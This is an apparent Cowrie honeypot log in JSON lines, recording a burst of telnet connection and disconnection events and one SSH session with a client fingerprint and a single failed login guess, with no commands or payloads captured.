{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36468,"dst_ip":"10.17.0.5","dst_port":23,"session":"df85d9922fbc","protocol":"telnet","message":"New connection: 5.196.58.99:36468 (10.17.0.5:23) [session: df85d9922fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:58.017693Z"}
{"eventid":"cowrie.session.closed","duration":31.023918867111206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:58.848196Z","src_ip":"5.196.58.99","session":"b15d05898456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36484,"dst_ip":"10.17.0.5","dst_port":23,"session":"756c30e0f014","protocol":"telnet","message":"New connection: 5.196.58.99:36484 (10.17.0.5:23) [session: 756c30e0f014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:59.245819Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64885,"dst_ip":"10.17.0.5","dst_port":22,"session":"6089a56fa722","protocol":"ssh","message":"New connection: 109.91.4.177:64885 (10.17.0.5:22) [session: 6089a56fa722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:59.921992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:10:59.927419Z","src_ip":"109.91.4.177","session":"6089a56fa722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:00.035729Z","src_ip":"109.91.4.177","session":"6089a56fa722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56383991241455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:00.336378Z","src_ip":"5.196.58.99","session":"590717a5e4e6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"uatuser","password":"uatuser","message":"login attempt [uatuser/uatuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:00.845413Z","src_ip":"109.91.4.177","session":"6089a56fa722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36494,"dst_ip":"10.17.0.5","dst_port":23,"session":"f881047d67ff","protocol":"telnet","message":"New connection: 5.196.58.99:36494 (10.17.0.5:23) [session: f881047d67ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:01.798501Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:01.954051Z","src_ip":"109.91.4.177","session":"6089a56fa722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.616971015930176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:04.751576Z","src_ip":"5.196.58.99","session":"91fad4c33b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43616,"dst_ip":"10.17.0.5","dst_port":23,"session":"986cc36ff462","protocol":"telnet","message":"New connection: 5.196.58.99:43616 (10.17.0.5:23) [session: 986cc36ff462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:05.299660Z"}
{"eventid":"cowrie.session.closed","duration":30.736406564712524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:07.274451Z","src_ip":"5.196.58.99","session":"7ced7e6fed9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cecb1bc3e44","protocol":"telnet","message":"New connection: 5.196.58.99:43634 (10.17.0.5:23) [session: 4cecb1bc3e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:08.000379Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43638,"dst_ip":"10.17.0.5","dst_port":23,"session":"da11413135fc","protocol":"telnet","message":"New connection: 5.196.58.99:43638 (10.17.0.5:23) [session: da11413135fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:08.654532Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43630,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e10dc5e318","protocol":"telnet","message":"New connection: 5.196.58.99:43630 (10.17.0.5:23) [session: e0e10dc5e318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:08.688469Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43646,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c44c1487c1","protocol":"telnet","message":"New connection: 5.196.58.99:43646 (10.17.0.5:23) [session: 23c44c1487c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:08.911898Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43628,"dst_ip":"10.17.0.5","dst_port":23,"session":"9173d7fb0ad8","protocol":"telnet","message":"New connection: 5.196.58.99:43628 (10.17.0.5:23) [session: 9173d7fb0ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:09.776299Z"}
{"eventid":"cowrie.session.closed","duration":30.432398080825806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:11.352539Z","src_ip":"5.196.58.99","session":"e636f1a07a50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43652,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa219e626e89","protocol":"telnet","message":"New connection: 5.196.58.99:43652 (10.17.0.5:23) [session: fa219e626e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:12.943528Z"}
{"eventid":"cowrie.session.closed","duration":31.326435327529907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:13.646347Z","src_ip":"5.196.58.99","session":"6e21914c0be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34388,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaa854496e3e","protocol":"telnet","message":"New connection: 5.196.58.99:34388 (10.17.0.5:23) [session: eaa854496e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:14.229772Z"}
{"eventid":"cowrie.session.closed","duration":31.150169134140015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:14.404304Z","src_ip":"5.196.58.99","session":"b86f2965d557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34392,"dst_ip":"10.17.0.5","dst_port":23,"session":"5369f82cc818","protocol":"telnet","message":"New connection: 5.196.58.99:34392 (10.17.0.5:23) [session: 5369f82cc818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:14.963685Z"}
{"eventid":"cowrie.session.closed","duration":31.981313467025757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:14.984431Z","src_ip":"5.196.58.99","session":"3a6d3bf79cd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98829412460327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:15.077669Z","src_ip":"5.196.58.99","session":"e212841f5d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34406,"dst_ip":"10.17.0.5","dst_port":23,"session":"9336b6881f25","protocol":"telnet","message":"New connection: 5.196.58.99:34406 (10.17.0.5:23) [session: 9336b6881f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:15.875687Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34404,"dst_ip":"10.17.0.5","dst_port":23,"session":"e75d89e2e1ac","protocol":"telnet","message":"New connection: 5.196.58.99:34404 (10.17.0.5:23) [session: e75d89e2e1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:16.078437Z"}
{"eventid":"cowrie.session.closed","duration":31.777403593063354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:19.787972Z","src_ip":"5.196.58.99","session":"86dad8502dfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.152599811553955,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:20.507807Z","src_ip":"174.138.46.234","session":"e20ab54599f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34422,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c30d74e2b20","protocol":"telnet","message":"New connection: 5.196.58.99:34422 (10.17.0.5:23) [session: 2c30d74e2b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:20.591598Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34444,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b22a5fd26b2","protocol":"telnet","message":"New connection: 5.196.58.99:34444 (10.17.0.5:23) [session: 3b22a5fd26b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:21.540403Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34428,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f1375a4d8c7","protocol":"telnet","message":"New connection: 5.196.58.99:34428 (10.17.0.5:23) [session: 9f1375a4d8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:21.866368Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34454,"dst_ip":"10.17.0.5","dst_port":23,"session":"18a34ad630b3","protocol":"telnet","message":"New connection: 5.196.58.99:34454 (10.17.0.5:23) [session: 18a34ad630b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:22.587659Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34460,"dst_ip":"10.17.0.5","dst_port":23,"session":"66ab95dd0185","protocol":"telnet","message":"New connection: 5.196.58.99:34460 (10.17.0.5:23) [session: 66ab95dd0185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:23.404357Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":34452,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a385a6a826b","protocol":"telnet","message":"New connection: 5.196.58.99:34452 (10.17.0.5:23) [session: 6a385a6a826b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:23.472648Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58478,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb073b3874a4","protocol":"telnet","message":"New connection: 5.196.58.99:58478 (10.17.0.5:23) [session: eb073b3874a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:23.797913Z"}
{"eventid":"cowrie.session.closed","duration":54.85185170173645,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:25.495531Z","src_ip":"174.138.46.234","session":"1c38422eec67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58486,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea29a5e8281d","protocol":"telnet","message":"New connection: 5.196.58.99:58486 (10.17.0.5:23) [session: ea29a5e8281d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:25.714456Z"}
{"eventid":"cowrie.session.closed","duration":30.948251008987427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:26.431777Z","src_ip":"5.196.58.99","session":"0bab26fb02f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a417f2adf226","protocol":"telnet","message":"New connection: 5.196.58.99:58494 (10.17.0.5:23) [session: a417f2adf226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:27.944764Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58508,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb78f0b7a73e","protocol":"telnet","message":"New connection: 5.196.58.99:58508 (10.17.0.5:23) [session: cb78f0b7a73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:28.333419Z"}
{"eventid":"cowrie.session.closed","duration":31.0254807472229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:29.043067Z","src_ip":"5.196.58.99","session":"df85d9922fbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58512,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2607978c70b","protocol":"telnet","message":"New connection: 5.196.58.99:58512 (10.17.0.5:23) [session: d2607978c70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:29.284779Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58514,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda1fda1c3bb","protocol":"telnet","message":"New connection: 5.196.58.99:58514 (10.17.0.5:23) [session: bda1fda1c3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:29.963426Z"}
{"eventid":"cowrie.session.closed","duration":31.06246852874756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:30.308075Z","src_ip":"5.196.58.99","session":"756c30e0f014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58530,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9403af7a0ba","protocol":"telnet","message":"New connection: 5.196.58.99:58530 (10.17.0.5:23) [session: e9403af7a0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:30.313857Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec03bbfd1014","protocol":"telnet","message":"New connection: 5.196.58.99:58546 (10.17.0.5:23) [session: ec03bbfd1014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:30.319599Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58550,"dst_ip":"10.17.0.5","dst_port":23,"session":"c174508d8cf2","protocol":"telnet","message":"New connection: 5.196.58.99:58550 (10.17.0.5:23) [session: c174508d8cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:31.959758Z"}
{"eventid":"cowrie.session.closed","duration":30.784286737442017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:32.582707Z","src_ip":"5.196.58.99","session":"f881047d67ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea43f7654e14","protocol":"telnet","message":"New connection: 5.196.58.99:58554 (10.17.0.5:23) [session: ea43f7654e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:32.715837Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58564,"dst_ip":"10.17.0.5","dst_port":23,"session":"27fc7c3d23d9","protocol":"telnet","message":"New connection: 5.196.58.99:58564 (10.17.0.5:23) [session: 27fc7c3d23d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:32.795902Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60220,"dst_ip":"10.17.0.5","dst_port":23,"session":"89fd471ad226","protocol":"telnet","message":"New connection: 5.196.58.99:60220 (10.17.0.5:23) [session: 89fd471ad226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:33.621500Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b660d901ef6","protocol":"telnet","message":"New connection: 5.196.58.99:60226 (10.17.0.5:23) [session: 4b660d901ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:33.922354Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60228,"dst_ip":"10.17.0.5","dst_port":23,"session":"235fe21c11be","protocol":"telnet","message":"New connection: 5.196.58.99:60228 (10.17.0.5:23) [session: 235fe21c11be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:35.083777Z"}
{"eventid":"cowrie.session.closed","duration":30.825073957443237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:36.124624Z","src_ip":"5.196.58.99","session":"986cc36ff462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60236,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb525548af7e","protocol":"telnet","message":"New connection: 5.196.58.99:60236 (10.17.0.5:23) [session: fb525548af7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:36.197158Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60242,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0860a0faee2","protocol":"telnet","message":"New connection: 5.196.58.99:60242 (10.17.0.5:23) [session: a0860a0faee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:36.994554Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7a48d014f1f","protocol":"telnet","message":"New connection: 5.196.58.99:60246 (10.17.0.5:23) [session: d7a48d014f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:37.030547Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60256,"dst_ip":"10.17.0.5","dst_port":23,"session":"24544014538f","protocol":"telnet","message":"New connection: 5.196.58.99:60256 (10.17.0.5:23) [session: 24544014538f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:37.093752Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60260,"dst_ip":"10.17.0.5","dst_port":23,"session":"15dcbe15fdba","protocol":"telnet","message":"New connection: 5.196.58.99:60260 (10.17.0.5:23) [session: 15dcbe15fdba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:37.640650Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60266,"dst_ip":"10.17.0.5","dst_port":23,"session":"79abeaf6ac00","protocol":"telnet","message":"New connection: 5.196.58.99:60266 (10.17.0.5:23) [session: 79abeaf6ac00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:37.749595Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60276,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e49427483f","protocol":"telnet","message":"New connection: 5.196.58.99:60276 (10.17.0.5:23) [session: 48e49427483f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:38.857143Z"}
{"eventid":"cowrie.session.closed","duration":31.073124408721924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:39.073367Z","src_ip":"5.196.58.99","session":"4cecb1bc3e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.423091888427734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:39.111422Z","src_ip":"5.196.58.99","session":"e0e10dc5e318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.499018669128418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:39.153421Z","src_ip":"5.196.58.99","session":"da11413135fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"390ac6501856","protocol":"telnet","message":"New connection: 5.196.58.99:60288 (10.17.0.5:23) [session: 390ac6501856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:39.343526Z"}
{"eventid":"cowrie.session.closed","duration":30.501580715179443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:39.413290Z","src_ip":"5.196.58.99","session":"23c44c1487c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a561a38296","protocol":"telnet","message":"New connection: 5.196.58.99:60294 (10.17.0.5:23) [session: 87a561a38296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:40.123344Z"}
{"eventid":"cowrie.session.closed","duration":30.42336130142212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:40.199493Z","src_ip":"5.196.58.99","session":"9173d7fb0ad8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49748,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e3489800a0f","protocol":"telnet","message":"New connection: 174.138.46.234:49748 (159.203.135.109:23) [session: 3e3489800a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:40.441898Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60310,"dst_ip":"10.17.0.5","dst_port":23,"session":"747f89272a82","protocol":"telnet","message":"New connection: 5.196.58.99:60310 (10.17.0.5:23) [session: 747f89272a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:40.714739Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60316,"dst_ip":"10.17.0.5","dst_port":23,"session":"c81661076794","protocol":"telnet","message":"New connection: 5.196.58.99:60316 (10.17.0.5:23) [session: c81661076794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:41.591172Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50136,"dst_ip":"159.203.135.109","dst_port":23,"session":"b99b2250124b","protocol":"telnet","message":"New connection: 174.138.46.234:50136 (159.203.135.109:23) [session: b99b2250124b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:11:41.596457Z"}
